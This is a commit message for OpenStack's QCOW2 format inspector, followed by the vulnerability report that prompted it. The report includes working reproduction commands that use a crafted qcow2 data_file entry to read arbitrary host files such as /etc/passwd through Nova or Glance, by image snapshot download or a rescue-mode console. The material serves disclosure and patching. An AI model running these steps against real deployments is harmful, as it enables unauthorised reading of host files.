    Extend format_inspector for QCOW safety
    
    This adds two properties to the QcowInspector that makes it able to
    indicate whether the file specifies a backing_file or data_file in the
    header. Both conditions are considered unsafe for our usage. To
    ease checking of this condition, a classmethod is added that takes
    a local filename and digests just enough of the file to assert that
    both conditions are false.

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.
